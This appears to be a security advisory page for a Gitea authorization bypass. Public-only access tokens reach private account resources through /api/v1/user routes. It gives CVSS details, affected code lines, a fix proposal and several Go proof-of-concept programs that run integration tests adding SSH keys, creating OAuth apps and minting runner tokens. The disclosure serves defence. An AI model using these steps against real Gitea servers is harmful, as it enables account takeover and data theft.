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Gitea CVE-2026-24791

HIGH
Incorrect Authorization (CWE-863)
2026-06-17 https://github.com/go-gitea/gitea GHSA-wrr5-99h5-gq57
Gitea Canonical Authentication Bypass Suse
8.1
CVSS 3.1 · GitHub Advisory
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Severity by source

GitHub Advisory PRIMARY
8.1 HIGH
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
vuln.today AI
8.1 HIGH

Network-reachable API, low complexity, requires a low-privilege public-only token (PR:L), no user interaction; high confidentiality and integrity impact on private account data, no availability impact.

3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
SUSE
HIGH
qualitative

Primary rating from GitHub Advisory.

CVSS VectorGitHub Advisory

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None

Lifecycle Timeline

3
Source Code Evidence Fetched
Jun 18, 2026 - 01:36 vuln.today
Analysis Generated
Jun 18, 2026 - 01:36 vuln.today
CVE Published
Jun 17, 2026 - 18:09 github-advisory
HIGH 8.1

DescriptionGitHub Advisory

Summary

Many authenticated self routes under /api/v1/user/... do not enforce the public-only token restriction. As a result, a token or OAuth grant marked public-only, but otherwise carrying the route-required read/write scope category, can access or modify private account resources through self routes.

The canonical private-user endpoint correctly rejects the same tokens, for example GET /api/v1/users/{privateUser} returns 403. The bypass exists because the generic /api/v1/user route group requires user scope and reqToken(), but does not enforce the token's public-only restriction for most self routes.

This is a systemic token/OAuth scope-boundary bypass, not a single endpoint bug.

This appears related to the previously fixed public-only token issue tracked as CVE-2025-68941 / GHSA-xfq3-qj7j-4565, which affected Gitea < 1.22.3. The behavior described here reproduces on tested main checkout 6a2706626904. A representative SSH-key self-route PoC also reproduces on tested releases through v1.26.1. In other words, this should be treated as an incomplete fix / residual gap in a different route family, not as a duplicate of the older advisory.

Affected Code

The generic /api/v1/user group is mounted with user scope and reqToken():

  • routers/api/v1/api.go:1008-1128

tokenRequiresScopes() sets ctx.PublicOnly when the token contains public-only, but the public-only restriction is enforced only by routes that also call checkTokenPublicOnly():

  • routers/api/v1/api.go:241-294 implements checkTokenPublicOnly().
  • routers/api/v1/api.go:299-341 sets ctx.PublicOnly from the token scope.

Representative affected routes in that group:

  • /api/v1/user: private self profile and settings.
  • /api/v1/user/emails: read, add, and delete account email addresses.
  • /api/v1/user/keys: list and add SSH public keys.
  • /api/v1/user/applications/oauth2: list and create OAuth2 applications, including returned client secrets.
  • /api/v1/user/actions/secrets/{secretname}: create or delete user-level Actions secrets.
  • /api/v1/user/actions/variables: list, read, create, update, and delete user-level Actions variables.
  • /api/v1/user/actions/runners/...: list, update, delete runners, and mint registration tokens.
  • /api/v1/user/actions/runs and /api/v1/user/actions/jobs: list workflow metadata for private repositories.
  • /api/v1/user/repos: create private repositories and list private repositories.
  • /api/v1/user/subscriptions, /api/v1/user/times, /api/v1/user/stopwatches, /api/v1/user/teams, /api/v1/user/hooks: leak or modify private-account resources.

Correct public-only enforcement for comparison:

  • routers/api/v1/api.go:970-1008 applies context.UserAssignmentAPI() and checkTokenPublicOnly() to canonical /api/v1/users/{username} routes.
  • routers/api/v1/user/user.go:122-125 rejects public-only access to private users on /api/v1/users/{username}.
  • routers/api/v1/api.go:1091-1092 shows that /api/v1/user/repos requires the additional repository scope category, but still does not apply checkTokenPublicOnly().

Local PoCs

The following dynamic PoCs were retested on checkout 6a2706626904 and all reproduced successfully. Each PoC writes a temporary integration test, runs it, and removes it afterward.

bash
cd pocs
GITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_self_user_private_profile_bypass_dynamic_poc.go
GITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_ssh_key_bypass_dynamic_poc.go
GITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_emails_bypass_dynamic_poc.go
GITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_oauth_app_bypass_dynamic_poc.go
GITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_repos_private_repo_bypass_dynamic_poc.go
GITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_actions_secret_variable_bypass_dynamic_poc.go
GITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_runner_registration_bypass_dynamic_poc.go
GITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_runner_manage_bypass_dynamic_poc.go
GITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_webhook_bypass_dynamic_poc.go
GITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_actions_runs_private_repo_bypass_dynamic_poc.go
GITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_actions_jobs_private_repo_bypass_dynamic_poc.go
GITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_subscriptions_private_repo_bypass_dynamic_poc.go
GITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_times_private_repo_bypass_dynamic_poc.go
GITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_stopwatches_private_repo_bypass_dynamic_poc.go
GITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_teams_private_org_bypass_dynamic_poc.go

Reproduced Impact Examples

Using private fixture user user31, public-only tokens are rejected by GET /api/v1/users/user31, but tokens with the route-required scopes can still reach the self routes below.

Confirmed with public-only,write:user:

  • add SSH keys through /api/v1/user/keys;
  • add account emails through /api/v1/user/emails;
  • create OAuth2 applications and receive client_secret through /api/v1/user/applications/oauth2;
  • create/delete user-level Actions secrets;
  • create/read/list/update/delete user-level Actions variables;
  • mint user-level runner registration tokens;
  • manage user-level runners;
  • create user webhooks.

Confirmed with public-only,read:user:

  • read private self profile/settings and account email surfaces;
  • list OAuth2 applications and user webhooks;
  • list private repository workflow runs/jobs exposed through self Actions routes;
  • list private subscriptions, tracked times, stopwatches, and team memberships.

Confirmed with public-only plus the route-required repository category:

  • create private repositories through POST /api/v1/user/repos with public-only,write:user,write:repository;
  • list those private repositories through GET /api/v1/user/repos with public-only,read:user,read:repository, while the canonical private repository endpoint remains forbidden.

Impact

The public-only token flag is intended to limit a token or OAuth grant to public resources. These routes violate that boundary for private accounts.

Practical abuse scenarios include:

  • a third-party app or leaked token with the route-required write scope, but restricted to public resources, adding SSH credentials or OAuth applications to a private account;
  • a public-resource-restricted token with the route-required write scope modifying Actions secrets/variables or registering/managing runners;
  • a token limited to public resources creating and enumerating private repositories;
  • a supposedly public-only integration learning private repository, workflow, team, timing, subscription, webhook, and email metadata.

Suggested Fix

Apply public-only enforcement consistently to self routes under /api/v1/user.

At minimum:

  • for self routes, treat ctx.Doer as the target user/resource owner when enforcing public-only; mechanically adding checkTokenPublicOnly() is not sufficient unless ctx.ContextUser is set to ctx.Doer or the check explicitly handles self routes;
  • reject ctx.PublicOnly on credential, identity, OAuth application, repository creation, webhook, Actions, runner, and email-management self-route mutations;
  • filter list routes so public-only tokens cannot return private repositories, private organization/team metadata, private workflow runs/jobs, private tracked time, private stopwatches, or hidden subscriptions;
  • add regression coverage that compares each affected /api/v1/user/... route against the canonical private-user or private-repository endpoint.

Non-public-only tokens should preserve current behavior.

---

Attachment: api_public_only_user_ssh_key_bypass_dynamic_poc.go

go
package main

import (
        "fmt"
        "os"
        "os/exec"
        "path/filepath"
        "strings"
)

const testSource = `// PoC test for private security report.
// SPDX-License-Identifier: MIT

package integration

import (
        "net/http"
        "testing"

        asymkey_model "code.gitea.io/gitea/models/asymkey"
        auth_model "code.gitea.io/gitea/models/auth"
        "code.gitea.io/gitea/models/unittest"
        user_model "code.gitea.io/gitea/models/user"
        api "code.gitea.io/gitea/modules/structs"
        "code.gitea.io/gitea/tests"

        "github.com/stretchr/testify/require"
)

func TestAPIPublicOnlyUserSSHKeyBypass(t *testing.T) {
        defer tests.PrepareTestEnv(t)()

        privateUser := unittest.AssertExistsAndLoadBean(t, &user_model.User{Name: "user31"})
        require.True(t, privateUser.Visibility.IsPrivate())

        session := loginUser(t, privateUser.Name)
        publicOnlyWriteUserToken := getTokenForLoggedInUser(t, session, auth_model.AccessTokenScopePublicOnly, auth_model.AccessTokenScopeWriteUser)

        MakeRequest(t, NewRequest(t, "GET", "/api/v1/users/user31").AddTokenAuth(publicOnlyWriteUserToken), http.StatusForbidden)

        req := NewRequestWithJSON(t, "POST", "/api/v1/user/keys", api.CreateKeyOption{
                Title: "public-only-private-key-bypass",
                Key:   "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC4cn+iXnA4KvcQYSV88vGn0Yi91vG47t1P7okprVmhNTkipNRIHWr6WdCO4VDr/cvsRkuVJAsLO2enwjGWWueOO6BodiBgyAOZ/5t5nJNMCNuLGT5UIo/RI1b0WRQwxEZTRjt6mFNw6lH14wRd8ulsr9toSWBPMOGWoYs1PDeDL0JuTjL+tr1SZi/EyxCngpYszKdXllJEHyI79KQgeD0Vt3pTrkbNVTOEcCNqZePSVmUH8X8Vhugz3bnE0/iE9Pb5fkWO9c4AnM1FgI/8Bvp27Fw2ShryIXuR6kKvUqhVMTuOSDHwu6A8jLE5Owt3GAYugDpDYuwTVNGrHLXKpPzrGGPE/jPmaLCMZcsdkec95dYeU3zKODEm8UQZFhmJmDeWVJ36nGrGZHL4J5aTTaeFUJmmXDaJYiJ+K2/ioKgXqnXvltu0A9R8/LGy4nrTJRr4JMLuJFoUXvGm1gXQ70w2LSpk6yl71RNC0hCtsBe8BP8IhYCM0EP5jh7eCMQZNvM= nocomment",
        }).AddTokenAuth(publicOnlyWriteUserToken)
        resp := MakeRequest(t, req, http.StatusCreated)
        key := DecodeJSON(t, resp, &api.PublicKey{})
        require.Equal(t, "public-only-private-key-bypass", key.Title)

        unittest.AssertExistsAndLoadBean(t, &asymkey_model.PublicKey{
                ID:      key.ID,
                OwnerID: privateUser.ID,
                Name:    "public-only-private-key-bypass",
        })

        req = NewRequest(t, "GET", "/api/v1/user/keys").AddTokenAuth(publicOnlyWriteUserToken)
        resp = MakeRequest(t, req, http.StatusOK)
        keys := DecodeJSON(t, resp, []api.PublicKey{})
        found := false
        for _, k := range keys {
                if k.ID == key.ID {
                        found = true
                        break
                }
        }
        require.True(t, found)
}
`

func repoPath() string {
        candidates := []string{}
        if repo := os.Getenv("GITEA_REPO"); repo != "" {
                candidates = append(candidates, repo)
        }
        candidates = append(candidates, "../repo", "../../gitea/repo", "../../gitea")

        for _, candidate := range candidates {
                if _, err := os.Stat(filepath.Join(candidate, "routers/api/v1/user/key.go")); err == nil {
                        return filepath.Clean(candidate)
                }
        }
        fmt.Fprintf(os.Stderr, "could not locate Gitea checkout; tried: %s\n", strings.Join(candidates, ", "))
        os.Exit(2)
        return ""
}

func main() {
        repo := repoPath()
        testPath := filepath.Join(repo, "tests/integration/api_public_only_user_ssh_key_bypass_dynamic_poc_test.go")
        if err := os.WriteFile(testPath, []byte(testSource), 0o644); err != nil {
                fmt.Fprintf(os.Stderr, "write temp test: %v\n", err)
                os.Exit(2)
        }
        defer func() {
                if err := os.Remove(testPath); err != nil && !os.IsNotExist(err) {
                        fmt.Fprintf(os.Stderr, "warning: remove temp test: %v\n", err)
                }
        }()

        cmd := exec.Command("go", "test", "-timeout", "40m", "-run", "TestAPIPublicOnlyUserSSHKeyBypass", "code.gitea.io/gitea/tests/integration")
        cmd.Dir = repo
        cmd.Env = append(os.Environ(), "SNAP=1", "SNAP_NAME=gitea-test", "GOTOOLCHAIN=auto")
        out, err := cmd.CombinedOutput()
        fmt.Printf("source=%s\n", repo)
        fmt.Print(string(out))
        if err != nil {
                fmt.Fprintf(os.Stderr, "not reproduced: go test failed: %v\n", err)
                os.Exit(1)
        }
        fmt.Println("reproduced: public-only,write:user is rejected on the canonical private /users/{username} endpoint")
        fmt.Println("reproduced: the same public-only token with the route-required write:user scope can add an SSH public key to the private account through /api/v1/user/keys")
        fmt.Println("reproduced: the same token can list that newly added key through /api/v1/user/keys")
        fmt.Println("condition=private user issues a public-only,write:user token")
        fmt.Println("cvss_candidate=CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N")
}

---

Attachment: api_public_only_user_oauth_app_bypass_dynamic_poc.go

go
package main

import (
        "fmt"
        "os"
        "os/exec"
        "path/filepath"
        "strings"
)

const testSource = `// PoC test for private security report.
// SPDX-License-Identifier: MIT

package integration

import (
        "net/http"
        "testing"

        auth_model "code.gitea.io/gitea/models/auth"
        "code.gitea.io/gitea/models/unittest"
        user_model "code.gitea.io/gitea/models/user"
        api "code.gitea.io/gitea/modules/structs"
        "code.gitea.io/gitea/tests"

        "github.com/stretchr/testify/require"
)

func TestAPIPublicOnlyUserOAuthAppBypass(t *testing.T) {
        defer tests.PrepareTestEnv(t)()

        privateUser := unittest.AssertExistsAndLoadBean(t, &user_model.User{Name: "user31"})
        require.True(t, privateUser.Visibility.IsPrivate())

        session := loginUser(t, privateUser.Name)
        publicOnlyWriteUserToken := getTokenForLoggedInUser(t, session, auth_model.AccessTokenScopePublicOnly, auth_model.AccessTokenScopeWriteUser)
        publicOnlyReadUserToken := getTokenForLoggedInUser(t, session, auth_model.AccessTokenScopePublicOnly, auth_model.AccessTokenScopeReadUser)

        MakeRequest(t, NewRequest(t, "GET", "/api/v1/users/user31").AddTokenAuth(publicOnlyReadUserToken), http.StatusForbidden)

        req := NewRequestWithJSON(t, "POST", "/api/v1/user/applications/oauth2", &api.CreateOAuth2ApplicationOptions{
                Name:               "public-only-private-oauth-app",
                RedirectURIs:       []string{"https://example.com/callback"},
                ConfidentialClient: true,
        }).AddTokenAuth(publicOnlyWriteUserToken)
        resp := MakeRequest(t, req, http.StatusCreated)
        app := DecodeJSON(t, resp, &api.OAuth2Application{})
        require.Equal(t, "public-only-private-oauth-app", app.Name)
        require.NotEmpty(t, app.ClientID)
        require.NotEmpty(t, app.ClientSecret)

        req = NewRequest(t, "GET", "/api/v1/user/applications/oauth2").AddTokenAuth(publicOnlyReadUserToken)
        resp = MakeRequest(t, req, http.StatusOK)
        apps := DecodeJSON(t, resp, api.OAuth2ApplicationList{})
        found := false
        for _, a := range apps {
                if a.ID == app.ID && a.Name == app.Name {
                        found = true
                        break
                }
        }
        require.True(t, found)
}
`

func repoPath() string {
        candidates := []string{}
        if repo := os.Getenv("GITEA_REPO"); repo != "" {
                candidates = append(candidates, repo)
        }
        candidates = append(candidates, "../repo", "../../gitea/repo", "../../gitea")

        for _, candidate := range candidates {
                if _, err := os.Stat(filepath.Join(candidate, "routers/api/v1/user/app.go")); err == nil {
                        return filepath.Clean(candidate)
                }
        }
        fmt.Fprintf(os.Stderr, "could not locate Gitea checkout; tried: %s\n", strings.Join(candidates, ", "))
        os.Exit(2)
        return ""
}

func main() {
        repo := repoPath()
        testPath := filepath.Join(repo, "tests/integration/api_public_only_user_oauth_app_bypass_dynamic_poc_test.go")
        if err := os.WriteFile(testPath, []byte(testSource), 0o644); err != nil {
                fmt.Fprintf(os.Stderr, "write temp test: %v\n", err)
                os.Exit(2)
        }
        defer func() {
                if err := os.Remove(testPath); err != nil && !os.IsNotExist(err) {
                        fmt.Fprintf(os.Stderr, "warning: remove temp test: %v\n", err)
                }
        }()

        cmd := exec.Command("go", "test", "-timeout", "40m", "-run", "TestAPIPublicOnlyUserOAuthAppBypass", "code.gitea.io/gitea/tests/integration")
        cmd.Dir = repo
        cmd.Env = append(os.Environ(), "SNAP=1", "SNAP_NAME=gitea-test", "GOTOOLCHAIN=auto")
        out, err := cmd.CombinedOutput()
        fmt.Printf("source=%s\n", repo)
        fmt.Print(string(out))
        if err != nil {
                fmt.Fprintf(os.Stderr, "not reproduced: go test failed: %v\n", err)
                os.Exit(1)
        }
        fmt.Println("reproduced: public-only user-scoped tokens are rejected on the canonical private /users/{username} endpoint")
        fmt.Println("reproduced: public-only,write:user can create an OAuth2 application for the private account and receives a client secret")
        fmt.Println("reproduced: public-only,read:user can list that OAuth2 application through /api/v1/user/applications/oauth2")
        fmt.Println("condition=private user issues public-only tokens with route-required user scopes")
        fmt.Println("cvss_candidate=CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N")
}

---

Attachment: api_public_only_user_repos_private_repo_bypass_dynamic_poc.go

go
package main

import (
        "fmt"
        "os"
        "os/exec"
        "path/filepath"
        "strings"
)

const testSource = `// PoC test for private security report.
// SPDX-License-Identifier: MIT

package integration

import (
        "net/http"
        "testing"

        auth_model "code.gitea.io/gitea/models/auth"
        "code.gitea.io/gitea/models/unittest"
        user_model "code.gitea.io/gitea/models/user"
        api "code.gitea.io/gitea/modules/structs"
        "code.gitea.io/gitea/tests"

        "github.com/stretchr/testify/require"
)

func TestAPIPublicOnlyUserReposBypass(t *testing.T) {
        defer tests.PrepareTestEnv(t)()

        privateUser := unittest.AssertExistsAndLoadBean(t, &user_model.User{Name: "user31"})
        require.True(t, privateUser.Visibility.IsPrivate())

        session := loginUser(t, privateUser.Name)
        publicOnlyReadRepoToken := getTokenForLoggedInUser(t, session,
                auth_model.AccessTokenScopePublicOnly,
                auth_model.AccessTokenScopeReadUser,
                auth_model.AccessTokenScopeReadRepository,
        )
        publicOnlyWriteRepoToken := getTokenForLoggedInUser(t, session,
                auth_model.AccessTokenScopePublicOnly,
                auth_model.AccessTokenScopeWriteUser,
                auth_model.AccessTokenScopeWriteRepository,
        )

        req := NewRequestWithJSON(t, "POST", "/api/v1/user/repos", &api.CreateRepoOption{
                Name:    "public-only-private-repo",
                Private: true,
        }).AddTokenAuth(publicOnlyWriteRepoToken)
        resp := MakeRequest(t, req, http.StatusCreated)
        created := DecodeJSON(t, resp, &api.Repository{})
        require.Equal(t, "user31/public-only-private-repo", created.FullName)
        require.True(t, created.Private)

        MakeRequest(t, NewRequest(t, "GET", "/api/v1/repos/user31/public-only-private-repo").AddTokenAuth(publicOnlyReadRepoToken), http.StatusForbidden)

        resp = MakeRequest(t, NewRequest(t, "GET", "/api/v1/user/repos").AddTokenAuth(publicOnlyReadRepoToken), http.StatusOK)
        repos := DecodeJSON(t, resp, []api.Repository{})
        found := false
        for _, repo := range repos {
                if repo.FullName == "user31/public-only-private-repo" {
                        found = true
                        require.True(t, repo.Private)
                }
        }
        require.True(t, found)
}
`

func repoPath() string {
        candidates := []string{}
        if repo := os.Getenv("GITEA_REPO"); repo != "" {
                candidates = append(candidates, repo)
        }
        candidates = append(candidates, "../repo", "../../gitea/repo", "../../gitea")

        for _, candidate := range candidates {
                if _, err := os.Stat(filepath.Join(candidate, "routers/api/v1/user/repo.go")); err == nil {
                        return filepath.Clean(candidate)
                }
        }
        fmt.Fprintf(os.Stderr, "could not locate Gitea checkout; tried: %s\n", strings.Join(candidates, ", "))
        os.Exit(2)
        return ""
}

func main() {
        repo := repoPath()
        testPath := filepath.Join(repo, "tests/integration/api_public_only_user_repos_private_repo_bypass_dynamic_poc_test.go")
        if err := os.WriteFile(testPath, []byte(testSource), 0o644); err != nil {
                fmt.Fprintf(os.Stderr, "write temp test: %v\n", err)
                os.Exit(2)
        }
        defer func() {
                if err := os.Remove(testPath); err != nil && !os.IsNotExist(err) {
                        fmt.Fprintf(os.Stderr, "warning: remove temp test: %v\n", err)
                }
        }()

        cmd := exec.Command("go", "test", "-timeout", "40m", "-run", "TestAPIPublicOnlyUserReposBypass", "code.gitea.io/gitea/tests/integration")
        cmd.Dir = repo
        cmd.Env = append(os.Environ(), "SNAP=1", "SNAP_NAME=gitea-test", "GOTOOLCHAIN=auto")
        out, err := cmd.CombinedOutput()
        fmt.Printf("source=%s\n", repo)
        fmt.Print(string(out))
        if err != nil {
                fmt.Fprintf(os.Stderr, "not reproduced: go test failed: %v\n", err)
                os.Exit(1)
        }
        fmt.Println("reproduced: public-only,write:user,write:repository can create a private repository through /api/v1/user/repos")
        fmt.Println("reproduced: public-only,read:user,read:repository is still forbidden on the canonical repository endpoint for that repo")
        fmt.Println("reproduced: the same public-only token with the route-required read:user,read:repository scope can list the private repository through /api/v1/user/repos")
        fmt.Println("condition=private user issues public-only tokens with route-required user and repository scopes")
        fmt.Println("cvss_candidate=CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N")
}

---

Attachment: api_public_only_user_actions_secret_variable_bypass_dynamic_poc.go

go
package main

import (
        "fmt"
        "os"
        "os/exec"
        "path/filepath"
        "strings"
)

const testSource = `// PoC test for private security report.
// SPDX-License-Identifier: MIT

package integration

import (
        "net/http"
        "testing"

        auth_model "code.gitea.io/gitea/models/auth"
        "code.gitea.io/gitea/models/unittest"
        user_model "code.gitea.io/gitea/models/user"
        api "code.gitea.io/gitea/modules/structs"
        "code.gitea.io/gitea/tests"

        "github.com/stretchr/testify/require"
)

func TestAPIPublicOnlyUserActionsSecretVariableBypass(t *testing.T) {
        defer tests.PrepareTestEnv(t)()

        privateUser := unittest.AssertExistsAndLoadBean(t, &user_model.User{Name: "user31"})
        require.True(t, privateUser.Visibility.IsPrivate())

        session := loginUser(t, privateUser.Name)
        publicOnlyWriteUserToken := getTokenForLoggedInUser(t, session, auth_model.AccessTokenScopePublicOnly, auth_model.AccessTokenScopeWriteUser)

        MakeRequest(t, NewRequest(t, "GET", "/api/v1/users/user31").AddTokenAuth(publicOnlyWriteUserToken), http.StatusForbidden)

        req := NewRequestWithJSON(t, "PUT", "/api/v1/user/actions/secrets/PRIVATE_SECRET", api.CreateOrUpdateSecretOption{
                Data: "top-secret",
        }).AddTokenAuth(publicOnlyWriteUserToken)
        MakeRequest(t, req, http.StatusCreated)

        req = NewRequestWithJSON(t, "POST", "/api/v1/user/actions/variables/PRIVATE_VAR", api.CreateVariableOption{
                Value:       "private-value",
                Description: "scoped through public-only token",
        }).AddTokenAuth(publicOnlyWriteUserToken)
        MakeRequest(t, req, http.StatusCreated)

        req = NewRequest(t, "GET", "/api/v1/user/actions/variables/PRIVATE_VAR").AddTokenAuth(publicOnlyWriteUserToken)
        resp := MakeRequest(t, req, http.StatusOK)
        variable := DecodeJSON(t, resp, &api.ActionVariable{})
        require.Equal(t, "PRIVATE_VAR", variable.Name)
        require.Equal(t, "private-value", variable.Data)

        req = NewRequest(t, "GET", "/api/v1/user/actions/variables").AddTokenAuth(publicOnlyWriteUserToken)
        resp = MakeRequest(t, req, http.StatusOK)
        variables := DecodeJSON(t, resp, []*api.ActionVariable{})
        found := false
        for _, v := range variables {
                if v.Name == "PRIVATE_VAR" && v.Data == "private-value" {
                        found = true
                        break
                }
        }
        require.True(t, found)
}
`

func repoPath() string {
        candidates := []string{}
        if repo := os.Getenv("GITEA_REPO"); repo != "" {
                candidates = append(candidates, repo)
        }
        candidates = append(candidates, "../repo", "../../gitea/repo", "../../gitea")

        for _, candidate := range candidates {
                if _, err := os.Stat(filepath.Join(candidate, "routers/api/v1/user/action.go")); err == nil {
                        return filepath.Clean(candidate)
                }
        }
        fmt.Fprintf(os.Stderr, "could not locate Gitea checkout; tried: %s\n", strings.Join(candidates, ", "))
        os.Exit(2)
        return ""
}

func main() {
        repo := repoPath()
        testPath := filepath.Join(repo, "tests/integration/api_public_only_user_actions_secret_variable_bypass_dynamic_poc_test.go")
        if err := os.WriteFile(testPath, []byte(testSource), 0o644); err != nil {
                fmt.Fprintf(os.Stderr, "write temp test: %v\n", err)
                os.Exit(2)
        }
        defer func() {
                if err := os.Remove(testPath); err != nil && !os.IsNotExist(err) {
                        fmt.Fprintf(os.Stderr, "warning: remove temp test: %v\n", err)
                }
        }()

        cmd := exec.Command("go", "test", "-timeout", "40m", "-run", "TestAPIPublicOnlyUserActionsSecretVariableBypass", "code.gitea.io/gitea/tests/integration")
        cmd.Dir = repo
        cmd.Env = append(os.Environ(), "SNAP=1", "SNAP_NAME=gitea-test", "GOTOOLCHAIN=auto")
        out, err := cmd.CombinedOutput()
        fmt.Printf("source=%s\n", repo)
        fmt.Print(string(out))
        if err != nil {
                fmt.Fprintf(os.Stderr, "not reproduced: go test failed: %v\n", err)
                os.Exit(1)
        }
        fmt.Println("reproduced: public-only,write:user is rejected on the canonical private /users/{username} endpoint")
        fmt.Println("reproduced: the same public-only token with the route-required write:user scope can create a user actions secret for the private account")
        fmt.Println("reproduced: the same public-only token with the route-required write:user scope can create, read, and list user actions variables")
        fmt.Println("condition=private user issues a public-only,write:user token")
        fmt.Println("cvss_candidate=CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N")
}

---

Attachment: api_public_only_user_runner_registration_bypass_dynamic_poc.go

go
package main

import (
        "fmt"
        "os"
        "os/exec"
        "path/filepath"
        "strings"
)

const testSource = `// PoC test for private security report.
// SPDX-License-Identifier: MIT

package integration

import (
        "net/http"
        "testing"

        auth_model "code.gitea.io/gitea/models/auth"
        "code.gitea.io/gitea/models/unittest"
        user_model "code.gitea.io/gitea/models/user"
        "code.gitea.io/gitea/tests"

        "github.com/stretchr/testify/require"
)

func TestAPIPublicOnlyUserRunnerRegistrationBypass(t *testing.T) {
        defer tests.PrepareTestEnv(t)()

        privateUser := unittest.AssertExistsAndLoadBean(t, &user_model.User{Name: "user31"})
        require.True(t, privateUser.Visibility.IsPrivate())

        session := loginUser(t, privateUser.Name)
        publicOnlyWriteUserToken := getTokenForLoggedInUser(t, session, auth_model.AccessTokenScopePublicOnly, auth_model.AccessTokenScopeWriteUser)

        MakeRequest(t, NewRequest(t, "GET", "/api/v1/users/user31").AddTokenAuth(publicOnlyWriteUserToken), http.StatusForbidden)

        resp := MakeRequest(t, NewRequest(t, "POST", "/api/v1/user/actions/runners/registration-token").AddTokenAuth(publicOnlyWriteUserToken), http.StatusOK)
        registrationToken := DecodeJSON(t, resp, &map[string]string{})
        require.NotEmpty(t, (*registrationToken)["token"])
}
`

func repoPath() string {
        candidates := []string{}
        if repo := os.Getenv("GITEA_REPO"); repo != "" {
                candidates = append(candidates, repo)
        }
        candidates = append(candidates, "../repo", "../../gitea/repo", "../../gitea")

        for _, candidate := range candidates {
                if _, err := os.Stat(filepath.Join(candidate, "routers/api/v1/user/runners.go")); err == nil {
                        return filepath.Clean(candidate)
                }
        }
        fmt.Fprintf(os.Stderr, "could not locate Gitea checkout; tried: %s\n", strings.Join(candidates, ", "))
        os.Exit(2)
        return ""
}

func main() {
        repo := repoPath()
        testPath := filepath.Join(repo, "tests/integration/api_public_only_user_runner_registration_bypass_dynamic_poc_test.go")
        if err := os.WriteFile(testPath, []byte(testSource), 0o644); err != nil {
                fmt.Fprintf(os.Stderr, "write temp test: %v\n", err)
                os.Exit(2)
        }
        defer func() {
                if err := os.Remove(testPath); err != nil && !os.IsNotExist(err) {
                        fmt.Fprintf(os.Stderr, "warning: remove temp test: %v\n", err)
                }
        }()

        cmd := exec.Command("go", "test", "-timeout", "40m", "-run", "TestAPIPublicOnlyUserRunnerRegistrationBypass", "code.gitea.io/gitea/tests/integration")
        cmd.Dir = repo
        cmd.Env = append(os.Environ(), "SNAP=1", "SNAP_NAME=gitea-test", "GOTOOLCHAIN=auto")
        out, err := cmd.CombinedOutput()
        fmt.Printf("source=%s\n", repo)
        fmt.Print(string(out))
        if err != nil {
                fmt.Fprintf(os.Stderr, "not reproduced: go test failed: %v\n", err)
                os.Exit(1)
        }
        fmt.Println("reproduced: public-only,write:user is rejected on the canonical private /users/{username} endpoint")
        fmt.Println("reproduced: the same public-only token with the route-required write:user scope can mint a user-level actions runner registration token")
        fmt.Println("condition=private user issues a public-only,write:user token")
        fmt.Println("cvss_candidate=CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N")
}

---

Version validation

Validation date: 2026-05-13

The SSH-key write PoC was used as the representative dynamic test for the systemic /api/v1/user self-route public-only bypass.

VersionCommitResult
main6a2706626904reproduced dynamically
v1.26.1afdbd9b7c5reproduced dynamically
v1.25.5f913d90ab6reproduced dynamically
v1.24.799053ce4fareproduced dynamically
v1.23.8cccd54999areproduced dynamically
v1.22.68eefa1f6dereproduced dynamically with Go 1.22.12 test toolchain

The representative version-matrix PoC validates the same root cause across tested releases for the SSH-key self-route write surface. The additional lead/supporting PoCs above were retested on the main checkout listed in the Local PoCs section.

AnalysisAI

Authorization bypass in Gitea versions 1.22.3 through 1.26.1 allows holders of public-only access tokens or OAuth grants to read and modify private account resources via /api/v1/user/... self routes, despite the public-only flag being designed to restrict tokens to public data. The flaw is a systemic scope-boundary failure across many self routes (SSH keys, emails, OAuth apps, Actions secrets/variables/runners, private repos, webhooks), publicly available exploit code exists in the form of reproducible Go PoCs in the advisory, and the issue represents an incomplete fix of CVE-2025-68941 in a different route family.

Technical ContextAI

Gitea is a self-hosted Go-based Git service (CPE pkg:go/code.gitea.io_gitea). The bug lives in the REST API router at routers/api/v1/api.go: the canonical /api/v1/users/{username} group calls checkTokenPublicOnly() and rejects public-only tokens that target private users, but the generic /api/v1/user self-route group is only mounted with reqToken() plus user scope and omits the checkTokenPublicOnly() enforcement. tokenRequiresScopes() still sets ctx.PublicOnly from the token, but downstream handlers never consult it for self routes, so the token's public-only restriction is silently dropped. This matches CWE-863 (Incorrect Authorization): authorization metadata is computed correctly but not consistently enforced on every code path.

RemediationAI

